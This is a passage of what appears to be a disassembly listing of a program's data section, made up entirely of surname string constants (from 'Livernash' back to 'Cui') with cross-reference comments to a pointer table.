aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042DFD0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFC8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFC4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFC0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFBCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFB8o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFB4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFACo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFA8o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFA4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFA0o
		align 10h
aLight		db 'Light',0            ; DATA XREF: ___:0042DF9Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DF98o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DF94o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DF90o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DF8Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DF88o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DF84o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DF80o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DF7Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DF78o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DF74o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DF70o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DF6Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DF68o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF64o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF60o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF5Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF58o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF54o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF50o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF4Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF48o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF44o
aLa		db 'La',0               ; DATA XREF: ___:0042DF40o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF3Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF38o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF34o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF30o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF2Co
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF28o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042DF24o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042DF20o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042DF1Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042DF18o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042DF14o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042DF10o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042DF0Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042DF08o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042DF04o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042DF00o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042DEFCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042DEF8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042DEF4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042DEF0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042DEECo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042DEE8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042DEE4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042DEE0o
aKling		db 'Kling',0            ; DATA XREF: ___:0042DEDCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042DED8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042DED4o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042DED0o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042DECCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042DEC8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042DEC4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042DEC0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042DEBCo
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042DEB8o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042DEB4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042DEB0o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042DEACo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:0042DEA8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042DEA4o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042DEA0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042DE9Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042DE98o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042DE94o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042DE90o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042DE8Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:0042DE88o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042DE84o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042DE80o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042DE7Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042DE78o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042DE74o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DE70o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DE6Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DE68o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE64o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE60o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE5Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE58o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE54o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE50o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE4Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE48o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE44o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE40o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE3Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE38o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE34o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE30o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE2Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE28o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE24o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE20o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE1Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE18o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE14o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE10o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE0Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE08o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE04o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE00o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DDFCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042DDF8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DDF4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DDF0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DDECo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DDE8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DDE4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DDE0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DDDCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DDD8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DDD4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DDD0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDCCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDC8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDC4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDC0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDBCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDB8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDB4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDB0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDACo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDA8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDA4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDA0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DD9Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DD98o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DD94o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DD90o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DD8Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DD88o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DD84o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DD80o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DD7Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DD78o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DD74o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DD70o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD6Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD68o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD64o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD60o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD5Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD58o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD54o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD50o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD4Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD48o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD44o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD40o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD3Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD38o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD34o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD30o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD2Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD28o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD24o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD20o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD1Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD18o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD14o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD10o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD0Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD08o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD04o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD00o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DCFCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DCF8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DCF4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DCF0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DCECo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DCE8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DCE4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DCE0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DCDCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DCD8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DCD4o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DCD0o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCCCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCC8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCC4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCC0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCBCo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCB8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCB4o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCB0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCACo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCA8o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCA4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCA0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DC9Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DC98o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DC94o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DC90o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DC8Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DC88o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DC84o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DC80o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DC7Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DC78o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DC74o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DC70o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC6Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC68o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC64o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC60o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC5Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC58o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC54o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC50o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC4Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC48o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC44o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC40o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC3Co
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC38o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC34o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC30o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC2Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC28o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC24o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC20o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC1Co
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC18o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC14o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC10o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC0Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC08o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC04o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC00o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DBFCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DBF8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DBF4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DBECo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DBE8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DBE4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DBE0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DBDCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DBD4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBCCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBC8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBC4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBC0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBBCo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBB8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBB4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBB0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBACo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBA8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBA4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBA0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DB9Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DB98o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DB94o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DB90o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DB8Co
aFink		db 'Fink',0             ; DATA XREF: ___:0042DB88o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DB84o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042DB80o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DB7Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DB78o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DB74o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DB70o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB6Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB68o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB64o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB60o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB5Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB58o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB54o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB50o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB4Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB48o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB44o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB40o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB3Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB38o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB34o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB30o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB2Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB28o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB24o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB20o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB1Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB18o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB14o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB10o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB0Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB08o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB04o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB00o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DAFCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DAF8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DAF4o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DAF0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DAECo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DAE8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DAE4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DAE0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DADCo
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DAD8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DAD4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DAD0o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DACCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAC8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAC4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAC0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DABCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAB8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAB4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAB0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAACo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAA8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAA4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAA0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DA9Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DA98o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DA94o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DA90o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DA8Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DA88o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DA84o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DA80o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DA7Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DA78o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DA74o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DA70o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA6Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA68o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA64o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA60o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA5Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA58o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA50o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA4Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA48o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA44o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA40o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA3Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA38o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA30o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA2Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA28o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA24o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA20o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA1Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DA18o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA10o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA0Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA08o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA04o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA00o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042D9FCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042D9F8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042D9F4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042D9F0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042D9ECo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042D9E8o
aCui		db 'Cui',0              ; DATA XREF: ___:0042D9E4o
